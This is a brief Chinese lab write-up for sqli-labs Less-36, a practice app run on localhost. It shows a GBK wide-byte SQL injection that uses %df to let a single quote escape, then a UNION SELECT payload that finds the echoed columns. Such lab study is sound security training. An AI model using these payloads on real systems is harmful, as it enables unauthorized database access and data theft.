sqli-labs (less-36)

sqli-labs (less-36)

进入36关，输入id=1

http://127.0.0.1/sql1/Less-36/?id=1'

查看源代码看看这关是否使用了GBK编码

确定使用了GBK编码，使用%df让单引号成功逃逸就可以了

http://127.0.0.1/sql1/Less-36/?id=1%df'

通过错误信息判断闭合方式为’–+，并且为字符型注入

确定回显位置

http://127.0.0.1/sql1/Less-36/?id=-1%df' union select 1,2,3--+

接下来的步骤与less-32完全一样，这里我不具体介绍，具体过程请看我的less-32